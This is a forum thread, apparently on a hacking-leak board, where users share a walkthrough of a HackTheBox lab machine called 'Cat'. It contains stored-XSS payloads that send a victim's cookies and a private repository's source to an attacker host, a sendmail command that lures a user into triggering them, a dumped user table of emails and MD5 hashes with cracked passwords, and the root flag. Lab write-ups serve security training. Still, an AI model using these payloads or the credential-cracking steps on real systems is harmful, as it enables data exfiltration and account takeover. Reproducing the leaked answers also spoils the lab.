Possibly Related Threads…

gihimlek · Feb 01, 2025, 11:41 PM

(Feb 01, 2025, 11:05 PM)hcker01 Wrote:
(Feb 01, 2025, 10:32 PM)legacyuser00001 Wrote: Gitea on version 1.22.

https://www.exploit-db.com/exploits/52077 Maybe?
yes it works maybe we can craft an xss to have the administrator cookie and access a private repo

httponly is set, so we cant get cookies
i tried to read the README and sent to my host but the readme only reads:

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.%

don't know what to try to grab next

fr34cker · Feb 01, 2025, 11:49 PM

fazemike · Feb 01, 2025, 11:51 PM

(Feb 01, 2025, 11:41 PM)gihimlek Wrote:
(Feb 01, 2025, 11:05 PM)hcker01 Wrote:
(Feb 01, 2025, 10:32 PM)legacyuser00001 Wrote: Gitea on version 1.22.

https://www.exploit-db.com/exploits/52077 Maybe?
yes it works maybe we can craft an xss to have the administrator cookie and access a private repo

httponly is set, so we cant get cookies
i tried to read the README and sent to my host but the readme only reads:

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.%

don't know what to try to grab next

bro What payload did you use?

akorshikai · (This post was last modified: Feb 02, 2025, 12:46 AM by akorshikai.)

(Feb 01, 2025, 11:49 PM)fr34cker Wrote: axel@cat:/$ ls
bin boot databases dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
axel@cat:/$ cd opt
axel@cat:/opt$ ls
axel@cat:/opt$ cd ../databases
axel@cat:/databases$ ls
cat.db
axel@cat:/databases$ sqlite3 cat.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
accepted_cats cats users
sqlite> select * from users;
1|axel|axel2017@Gmail.com|d1bbba3670feb9435c9841e46e60ee2f
2|rosa|rosamendoza485@Gmail.com|ac369922d560f17d6eeb8b2c7dec498c
3|robert|robertcervantes2000@Gmail.com|42846631708f69c00ec0c0a8aa4a92ad
4|fabian|fabiancarachure2323@Gmail.com|39e153e825c4a3d314a0dc7f7475ddbe
5|jerryson|jerrysonC343@Gmail.com|781593e060f8d065cd7281c5ec5b4b86
6|larry|larryP5656@Gmail.com|1b6dce240bbfbc0905a664ad199e18f8
7|royer|royer.royer2323@Gmail.com|c598f6b844a36fa7836fba0835f1f6
8|peter|peterCC456@Gmail.com|e41ccefa439fc454f7eadbf1f139ed8a
9|angel|angel234g@Gmail.com|24a8ec003ac2e1b3c5953a6f95f8f565
10|jobert|jobert2020@Gmail.com|88e4dceccd48820cf77b5cf6c08698ad
11|fetch('http://10.10.14.223/?cookie='+btoa(document.cookie))|abel@mail.com|2c71e977eccffb1cfb7c6cc22e0e7595
12|AoVbi|vBNRY@b.c|62d64b7b6f9abfe7bd1d767a12b3c2f0
13|vuiox|Bscar@b.c|111f73eb68031545e3a75c9ba1ab2d40
14|rtSKF|NefcP@b.c|2e198b443c9fd7cffb834f049e2f33c7
15|admin|admin@admin.it|21232f297a57a5a743894a0e4a801fc3
16|hiatT|vWQWI@b.c|de7f462ffc2128656e11f78c70afa6fa
17|nZJGk|qXoLA@b.c|9a89d79ff4820ed31f19551a4843ab59
18|hVViw|MloNp@b.c|3659d7c58fe50c34434b163dbef2ccdb
19|gh05t|lol@lol.com|669791ea19acfab7216ac389f8412936

Rosa's cracks.

ac369922d560f17d6eeb8b2c7dec498c : soyunaprincesarosa

(edited to fix the stupid emoji in the password)

fr34cker · Feb 02, 2025, 12:52 AM

(Feb 02, 2025, 12:44 AM)akorshikai Wrote:
(Feb 01, 2025, 11:49 PM)fr34cker Wrote: axel@cat:/$ ls
bin boot databases dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
axel@cat:/$ cd opt
axel@cat:/opt$ ls
axel@cat:/opt$ cd ../databases
axel@cat:/databases$ ls
cat.db
axel@cat:/databases$ sqlite3 cat.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
accepted_cats cats users
sqlite> select * from users;
1|axel|axel2017@Gmail.com|d1bbba3670feb9435c9841e46e60ee2f
2|rosa|rosamendoza485@Gmail.com|ac369922d560f17d6eeb8b2c7dec498c
3|robert|robertcervantes2000@Gmail.com|42846631708f69c00ec0c0a8aa4a92ad
4|fabian|fabiancarachure2323@Gmail.com|39e153e825c4a3d314a0dc7f7475ddbe
5|jerryson|jerrysonC343@Gmail.com|781593e060f8d065cd7281c5ec5b4b86
6|larry|larryP5656@Gmail.com|1b6dce240bbfbc0905a664ad199e18f8
7|royer|royer.royer2323@Gmail.com|c598f6b844a36fa7836fba0835f1f6
8|peter|peterCC456@Gmail.com|e41ccefa439fc454f7eadbf1f139ed8a
9|angel|angel234g@Gmail.com|24a8ec003ac2e1b3c5953a6f95f8f565
10|jobert|jobert2020@Gmail.com|88e4dceccd48820cf77b5cf6c08698ad
11|fetch('http://10.10.14.223/?cookie='+btoa(document.cookie))|abel@mail.com|2c71e977eccffb1cfb7c6cc22e0e7595
12|AoVbi|vBNRY@b.c|62d64b7b6f9abfe7bd1d767a12b3c2f0
13|vuiox|Bscar@b.c|111f73eb68031545e3a75c9ba1ab2d40
14|rtSKF|NefcP@b.c|2e198b443c9fd7cffb834f049e2f33c7
15|admin|admin@admin.it|21232f297a57a5a743894a0e4a801fc3
16|hiatT|vWQWI@b.c|de7f462ffc2128656e11f78c70afa6fa
17|nZJGk|qXoLA@b.c|9a89d79ff4820ed31f19551a4843ab59
18|hVViw|MloNp@b.c|3659d7c58fe50c34434b163dbef2ccdb
19|gh05t|lol@lol.com|669791ea19acfab7216ac389f8412936

Rosa's cracks.

ac369922d560f17d6eeb8b2c7dec498c : soyunaprincesarosa

(edited to fix the stupid emoji in the password)

i know...

21232f297a57a5a743894a0e4a801fc3:admin
2c71e977eccffb1cfb7c6cc22e0e7595:xss
ac369922d560f17d6eeb8b2c7dec498c Confused

oyunaprincesarosa
111f73eb68031545e3a75c9ba1ab2d40:lGBbm
2e198b443c9fd7cffb834f049e2f33c7:kXuaB
3659d7c58fe50c34434b163dbef2ccdb:VOhxc
62d64b7b6f9abfe7bd1d767a12b3c2f0:cJVcL
9a89d79ff4820ed31f19551a4843ab59:JvcGI
de7f462ffc2128656e11f78c70afa6fa:zwwnh

NOT FOUND:

d1bbba3670feb9435c9841e46e60ee2f
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
669791ea19acfab7216ac389f8412936

maggi · (This post was last modified: Feb 02, 2025, 01:44 AM by maggi.)

people be posting user+root passwd but if you want to know....

start python server port 80 on kalibox

create repo maggi
create blank file in repo called...."maggi"

put this payload in description

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.xx.xx/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">maggi</a>

Then send an email as axel to jobert......click the new "maggi" in the repo and be patient and wait for something on python server like:
[01/Feb/2025 19:42:30] "GET /?response=%3C%3Fphp%0A%24valid_username.........

axel@cat:/var/mail$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/maggi" | sendmail jobert@LocalHost
axel@cat:/var/mail$ su root
Password:
root@cat:/var/mail# cd /root
root@cat:~# cat root.txt
25880005d****************
root@cat:~#

anon493483 · Feb 02, 2025, 01:49 AM

(Feb 02, 2025, 01:07 AM)maggi Wrote: people be posting user+root passwd but if you want to know....

start python server port 80 on kalibox

create repo maggi
create blank file in repo called...."maggi"

put this payload in description

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.xx.xx/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">maggi</a>

Then send an email as axel to jobert......click the new "maggi" in the repo and be patient and wait for something on python server like:
[01/Feb/2025 19:42:30] "GET /?response=%3C%3Fphp%0A%24valid_username.........

axel@cat:/var/mail$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/maggi" | sendmail jobert@LocalHost
axel@cat:/var/mail$ su root
Password:
root@cat:/var/mail# cd /root
root@cat:~# cat root.txt
25880005d****************
root@cat:~#

Where did you find info about the Employee-management repo?

maggi · Feb 02, 2025, 01:55 AM

(Feb 02, 2025, 01:49 AM)anon493483 Wrote:
(Feb 02, 2025, 01:07 AM)maggi Wrote: people be posting user+root passwd but if you want to know....

start python server port 80 on kalibox

create repo maggi
create blank file in repo called...."maggi"

put this payload in description

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.xx.xx/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">maggi</a>

Then send an email as axel to jobert......click the new "maggi" in the repo and be patient and wait for something on python server like:
[01/Feb/2025 19:42:30] "GET /?response=%3C%3Fphp%0A%24valid_username.........

axel@cat:/var/mail$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/maggi" | sendmail jobert@LocalHost
axel@cat:/var/mail$ su root
Password:
root@cat:/var/mail# cd /root
root@cat:~# cat root.txt
25880005d****************
root@cat:~#

Where did you find info about the Employee-management repo?

Check Axel's mail

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Empl...anagement/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Empl.../README.md.

Mayilvaganam · Feb 02, 2025, 02:16 AM

(Feb 02, 2025, 01:55 AM)maggi Wrote:
(Feb 02, 2025, 01:49 AM)anon493483 Wrote:
(Feb 02, 2025, 01:07 AM)maggi Wrote: people be posting user+root passwd but if you want to know....

start python server port 80 on kalibox

create repo maggi
create blank file in repo called...."maggi"

put this payload in description

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.xx.xx/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">maggi</a>

Then send an email as axel to jobert......click the new "maggi" in the repo and be patient and wait for something on python server like:
[01/Feb/2025 19:42:30] "GET /?response=%3C%3Fphp%0A%24valid_username.........

axel@cat:/var/mail$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/maggi" | sendmail jobert@LocalHost
axel@cat:/var/mail$ su root
Password:
root@cat:/var/mail# cd /root
root@cat:~# cat root.txt
25880005d****************
root@cat:~#

Where did you find info about the Employee-management repo?

Check Axel's mail

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Empl...anagement/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Empl.../README.md.

Jobert is not clicking my link , what to do ? Not getting any response after sending mail

maggi · Feb 02, 2025, 02:23 AM

(Feb 02, 2025, 02:16 AM)Mayilvaganam Wrote:
(Feb 02, 2025, 01:55 AM)maggi Wrote:
(Feb 02, 2025, 01:49 AM)anon493483 Wrote:
(Feb 02, 2025, 01:07 AM)maggi Wrote: people be posting user+root passwd but if you want to know....

start python server port 80 on kalibox

create repo maggi
create blank file in repo called...."maggi"

put this payload in description

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.xx.xx/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">maggi</a>

Then send an email as axel to jobert......click the new "maggi" in the repo and be patient and wait for something on python server like:
[01/Feb/2025 19:42:30] "GET /?response=%3C%3Fphp%0A%24valid_username.........

axel@cat:/var/mail$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/maggi" | sendmail jobert@LocalHost
axel@cat:/var/mail$ su root
Password:
root@cat:/var/mail# cd /root
root@cat:~# cat root.txt
25880005d****************
root@cat:~#

Where did you find info about the Employee-management repo?

Check Axel's mail

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Empl...anagement/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Empl.../README.md.

Jobert is not clicking my link , what to do ? Not getting any response after sending mail

you need to click the link "maggi" under maggi in axels repo and send off that mail.....or other way around

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	367	90,980	8 hours ago Last Post: Anon141234
	[MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot	htb-bot	85	7,688	Today, 05:35 AM Last Post: Fr1Rtx23
	[FREE] HackTheBox All Cheatsheets	Tamarisk	1	269	Today, 05:34 AM Last Post: Fr1Rtx23
	rev_dudidudida	cavour13	1	236	Today, 12:25 AM Last Post: 0xcreep
	[FREE] HTB HackTheBox CPTS CBBH CDSA CWEE exam preparation guide and hints	Tamarisk	5	1,851	Yesterday, 08:42 PM Last Post: Tamarisk